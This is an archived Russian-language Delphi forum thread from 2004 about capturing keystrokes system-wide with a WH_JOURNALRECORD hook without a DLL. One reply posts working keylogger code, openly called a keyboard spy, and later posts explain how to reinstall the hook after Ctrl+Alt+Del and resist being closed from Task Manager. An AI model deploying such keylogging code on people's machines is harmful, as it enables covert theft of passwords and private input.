Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "WinAPI";
Текущий архив: 2004.07.11;
Скачать: [xml.tar.bz2];

Вниз

Получение нажатий клавиш в Windows с помощью WH_JOURNALRECORD   Найти похожие ветки 

 
Kristy   (2004-05-25 16:19) [0]

Помню, что был пример давно в форуме, но найти я его не сумел.
Смысл - перехват нажатий клавиш, без использования WH_KEYBOARD, т.е. без использования dll.
Если не сложно - подскажите, где можно этот пример взять или просто поделитесь кодом.
Спасибо.


 
[lamer]Barmaglot ©   (2004-05-25 16:29) [1]

Маленький но эфективный сниффер клавиатуры без dll [D6, Win95/98, Win2k, WinXP]

Ghost ©   (15.07.03 07:45)
Вот нашёл код клавиатурного шпиона без dll, работает круто ! но единственая проблема не понимает ресских символов подскажите что надо паредалать в нём чтобы отслеживать ещё и ресскую раскладку клавиатуры
Код :

...
var
...
h:hhook;
...

function Proc(

  code:integer;
  wParam:WPARAM;
  lParam:LPARAM
 ):lresult;stdcall;
var c:array[0..255] of char;
  nScan:integer;
begin
if (code>=0)and(teventmsg(pointer(lparam)^).message=wm_keydown) then begin
nScan:=hibyte((teventmsg(pointer(lparam)^).paramL));
nscan:=nscan shl 16;
GetKeyNameText(nScan,c,256);
form1.ListBox1.Items.Add(c);
end;
result:=callnexthookex(h,code,wparam,lparam);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
h:=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstance,0);
caption:=inttostr(h);
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
unhookwindowshookex(h);
end;

»» Перемещено из конференции "Общие вопросы"
--------------------------------------------------------------------------------
vidiv ©   (15.07.03 08:06)
хук имхо не глобальный!
чтобы сделать глобальный хук обязательно нужно чтобы функция была доступна всем процессам. Для этого и нужна DLL. Просто можно использовать экспортированые функции из самого exe файла.

--------------------------------------------------------------------------------
Ghost ©   (15.07.03 08:41)
> vidiv

Не знаю что на счёт глобального хука , но эта штука ловит все ( или почти все ) нажатия клавишь + shift ( левый и правый ) + enter + пробел + alt + ctrl + все F1...F12

и ловит сообщения даже в играх ! не знаю как вам но я не находил меньше по размеру и таког функционального шпиона ! Если кто знает функциональней и проще дайте ссылку ...

Броблема так  и остаёться ! : как читать с помощью этого кода русские символы ?

--------------------------------------------------------------------------------
vidiv ©   (15.07.03 08:48)
ловить надо не wm_keyDown а wm_char

--------------------------------------------------------------------------------
Ghost ©   (15.07.03 09:13)
> vidiv

Если ловить wm_char то код вообще не работает :(


 
Kristy   (2004-05-25 16:30) [2]

спасиб! буду пробовать :)


 
Игорь Шевченко ©   (2004-05-25 17:05) [3]

в форуме "Система" был недавно топик, я клал код. Ищущий да обрящет.


 
Ajax ©   (2004-05-26 11:26) [4]

В принципе WH_JOURNALRECORD ловит любые клавиши кроме некоторых системных сочетаний, если все правильно делать. Чужой код разбирать лень так что ошибку не скажу.

Кстати, небольшой нюанс - WH_JOURNALRECORD слетает при нажатии Ctrl+Ald+Del и еще кажется Alt+Esc с посылкой сообщения кажется WM_CANCELJOURNAL, которое нужно перехватывать и ловушку переустанавливать.


 
Kristy   (2004-05-26 18:44) [5]

В MSDN написано что WM_CANCELJOURNAL посылается по Alt+Ctrl+Del и Ctrl+Esc. При этом говорится, что что бы детектить это сообщение использовать сабкласинг нельзя (подмену процедуры окна). Надо ставить ловушку WH_GETMESSAGE и в процедуре её обработки ловить WM_CANCELJOURNAL.
Я поставил и... ничего сообщение WM_CANCELJOURNAL ко мне не приходит. Вот код:

...
 hAppHook: HHOOK;
...
procedure TForm1.FormCreate(Sender: TObject);
begin
 hAppHook:= SetWindowsHookEx(WH_GETMESSAGE, @AppHook, Instance, 0);
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
 UnhookWindowsHookEx(hAppHook);
end;

function AppHook(code: integer; wParam: WPARAM; lParam: LPARAM): LRESULT;
begin
 if TMsg(pointer(lParam)^).message = WM_CANCELJOURNAL then
   ShowMessage("Ok");
 Result:= CallNextHookEx(hAppHook, code, wParam, lParam);
end;

Вот такие дела.


 
Kristy   (2004-05-27 12:26) [6]

ну что, никто не подскажет?
Пользоваться TApplicationEvent нет желания.


 
Ajax ©   (2004-05-28 09:52) [7]

>Надо ставить ловушку WH_GETMESSAGE и в процедуре её обработки ловить WM_CANCELJOURNAL.
>Я поставил и... ничего сообщение WM_CANCELJOURNAL ко мне не приходит. Вот код:
Я так понял, что у тебя процедура, которая AppHook в EXE-шнике лежит. Если так, то ничего работать и не должно, так как только WH_JOURNALRECORD может быть таким образом установлена. Так что тебе либо писать свой цикл обработки сообщений, либо отказаться от идеи держать хук в EXE. Мне кажется, что второй вариант лучше. Если уж тебе так нужен 1 файл, то цепляй библиотеку к программе (хотя бы тупым слиянием файлов) а во время запуска сбрасывай на винт и соотвтетственно потом удаляй.


 
Kristy   (2004-05-28 14:47) [8]

Читаем MSDN:
The system then unhooks any journaling hook procedures, and posts a WM_CANCELJOURNAL message, with a NULL window handle, to the application that set the journaling hook.

Так при чём тут WinMessage WM_CANCELJOURNAL и хук?

Читаем дальше:
There are two ways for an application to see a WM_CANCELJOURNAL message: If the application is running in its own main loop, it must catch the message between its call to GetMessage or PeekMessage and its call to DispatchMessage. If the application is not running in its own main loop, it must set a GetMsgProc hook procedure (through a call to SetWindowsHookEx specifying the WH_GETMESSAGE hook type) that watches for the message.

Вот, наверное при втором варианте, т.е. используя GetMsgProc нужно ставить глобальный хук. Но ведь можно сделать как в первом случае. Но как?
У меня не получается :(


 
Ajax ©   (2004-05-28 21:06) [9]

>Читаем MSDN:
Ну читаешь, молодец. И что дальше?

>Так при чём тут WinMessage WM_CANCELJOURNAL и хук?
При том, что по WM_CANCELJOURNAL нужно переустанавливать ловушку.

>Вот, наверное при втором варианте, т.е. используя GetMsgProc нужно
>ставить глобальный хук.
Нужно ставить. Причем выносить в DLL. Это уже было написано выше.

>Но ведь можно сделать как в первом случае. Но как?
Можно. Пиши свой цикл обработки сообщений.


 
Kristy   (2004-05-31 10:45) [10]

Написал свой цикл обработки сообщений. Успешно отлавил WM_CANCELJOURNAL :)

Теперь возникла такая проблема - т.к. приложение у меня не имеет UI а просто собрано с консолью, то как мне отловить TerminateProcess который для моего приложения, если я его выгружаю через TaskManager. Ведь в моём случае никакие WM_CLOSE, WM_DESTROY, WM_NCDESTROY не приходят процедуре окна :(
А если GetMessage в цикле обработки возвращает 0, то приложение терминирует сразу, аварийно.
Мне надо гарантированно сохранять текущее результаты расчётов, даже в случае попытки выгрузить приложение через Task Manager.



Страницы: 1 вся ветка

Форум: "WinAPI";
Текущий архив: 2004.07.11;
Скачать: [xml.tar.bz2];

Наверх





Память: 0.49 MB
Время: 0.03 c
8-1082658175
Riant
2004-04-22 22:22
2004.07.11
Flash в Delphi


14-1087582324
Delphi5.01
2004-06-18 22:12
2004.07.11
Vopros ne iz logkih


14-1087761409
Yegorchic
2004-06-20 23:56
2004.07.11
Принтер и цвет...


4-1085918281
Ivolg
2004-05-30 15:58
2004.07.11
О компе


1-1088121010
MIGUR
2004-06-25 03:50
2004.07.11
Выделение в MEMO и RichEdit





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский